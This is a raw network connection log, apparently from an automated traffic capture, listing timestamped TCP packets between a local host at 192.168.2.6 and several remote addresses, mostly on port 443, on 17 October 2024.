Oct 17, 2024 18:18:43.730412006 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.744164944 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.744198084 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.744213104 CEST	51034	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.744220018 CEST	443	51034	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.758795977 CEST	51076	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:43.762770891 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.762864113 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.762943983 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.769351006 CEST	51030	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.769378901 CEST	443	51030	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.779894114 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.779939890 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.780003071 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.781107903 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.781126976 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.782062054 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.782464027 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.782479048 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.784181118 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:43.784197092 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:43.848648071 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:43.848718882 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:43.853492022 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:43.853512049 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:43.853945971 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:43.875507116 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:43.875566959 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:43.875579119 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:43.875686884 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:43.919404984 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:44.060733080 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.064172029 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.064203024 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.064769983 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.064775944 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.080445051 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.104216099 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.104243994 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.104965925 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.104976892 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.129147053 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:44.129578114 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:44.129607916 CEST	443	51044	40.115.3.253	192.168.2.6
Oct 17, 2024 18:18:44.129628897 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:44.129653931 CEST	51044	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:18:44.197617054 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.197654009 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.197710037 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.197719097 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.197762012 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.215802908 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.215831995 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.215845108 CEST	51115	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.215848923 CEST	443	51115	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.230001926 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.230961084 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.231245995 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.233380079 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.233408928 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.233424902 CEST	51118	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.233432055 CEST	443	51118	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.246366024 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.246421099 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.246490955 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.249900103 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.249943018 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.250621080 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.254596949 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.254620075 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.259336948 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.259356976 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.384699106 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.408548117 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.408586025 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.409369946 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.409380913 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.547658920 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.547740936 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.547792912 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.563224077 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.575965881 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.620315075 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.667152882 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.670732021 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.670785904 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.670803070 CEST	51174	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.670810938 CEST	443	51174	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.755146980 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.755171061 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.758883953 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.758899927 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.786036015 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.786055088 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.789793015 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.789818048 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.892086983 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.892271042 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.892544031 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.925806999 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.925843954 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.925904989 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.925942898 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.925986052 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.934278965 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.934314013 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.934458971 CEST	51185	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.934468031 CEST	443	51185	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.942683935 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.942715883 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.942728996 CEST	51186	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.942734957 CEST	443	51186	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.944998026 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.945070028 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.945174932 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.949932098 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.949982882 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.950042009 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.950067043 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.950094938 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.954476118 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.954534054 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.954586029 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.954608917 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:44.954622030 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.954693079 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:44.954713106 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.041516066 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.050543070 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.062505007 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.062532902 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.063173056 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.063182116 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.064249039 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.064284086 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.064753056 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.064764977 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.143753052 CEST	50951	80	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:45.192686081 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.192719936 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.192780018 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.192790031 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.192833900 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.209573030 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.209609032 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.209624052 CEST	51225	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.209630966 CEST	443	51225	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.223360062 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.223412991 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.223651886 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.228276968 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.228291035 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.401807070 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.402602911 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.402663946 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.407452106 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.407469988 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.407481909 CEST	51224	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.407489061 CEST	443	51224	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.488266945 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.488317966 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.488434076 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.503048897 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.503074884 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.694293976 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.701541901 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.701551914 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.702023983 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.702029943 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.704161882 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.705104113 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.705126047 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.705504894 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.705512047 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.723673105 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.724164963 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.724173069 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.724852085 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.724854946 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.833312988 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.833380938 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.833451986 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.841593981 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.841732025 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.841780901 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.841785908 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.841820002 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.845994949 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.845994949 CEST	51292	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.846009970 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.846019030 CEST	443	51292	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.861542940 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.861620903 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.861680031 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.891355991 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.891355991 CEST	51294	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.891379118 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.891396999 CEST	443	51294	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.901714087 CEST	51296	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.901742935 CEST	443	51296	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.920949936 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.921003103 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.921057940 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.929286957 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.929335117 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.929424047 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.931518078 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.931545019 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.935195923 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.935210943 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.950944901 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.950980902 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:45.951070070 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.951230049 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:45.951241016 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.240189075 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.255454063 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.255490065 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.255872965 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.255880117 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.373361111 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.380784988 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.380810022 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.381302118 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.381308079 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.411201000 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.411488056 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.411554098 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.411613941 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.421108961 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.421108961 CEST	51328	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.421152115 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.421175957 CEST	443	51328	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.432267904 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.432370901 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.432449102 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.433983088 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.434021950 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.510643005 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.510716915 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.511121035 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.528793097 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.528817892 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.528829098 CEST	51357	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.528836012 CEST	443	51357	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.570374012 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.570430994 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.570499897 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.572482109 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.572494984 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.704720020 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.704957962 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.705871105 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.705904007 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.706634998 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.706640959 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.707139969 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.707215071 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.707505941 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.707519054 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.841577053 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.841734886 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.841788054 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.842284918 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.842706919 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.842761993 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.842817068 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.842880011 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.842968941 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.868566036 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.868566036 CEST	51385	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.868607044 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.868618965 CEST	443	51385	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.874504089 CEST	51384	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.874540091 CEST	443	51384	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.924751997 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.924859047 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.925012112 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.987798929 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.987869024 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.994488001 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.998222113 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.998265028 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:46.998668909 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:46.998676062 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.020010948 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.020133018 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.020257950 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.020497084 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.020528078 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.135808945 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.135919094 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.135997057 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.163578987 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.163615942 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.163629055 CEST	51386	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.163635015 CEST	443	51386	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.186666965 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.186736107 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.186916113 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.188399076 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.188425064 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.202382088 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.210550070 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.210613966 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.211617947 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.211638927 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.310683012 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.346236944 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.346391916 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.347850084 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.417124033 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.567125082 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.567174911 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.567759991 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.567765951 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.568077087 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.568113089 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.568126917 CEST	51434	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.568134069 CEST	443	51434	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.620409966 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.620469093 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.620574951 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.621978045 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.621993065 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.705502987 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.705538988 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.705607891 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.705610991 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.705653906 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.722244024 CEST	51442	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.722274065 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.722290039 CEST	51442	443	192.168.2.6	13.107.246.45
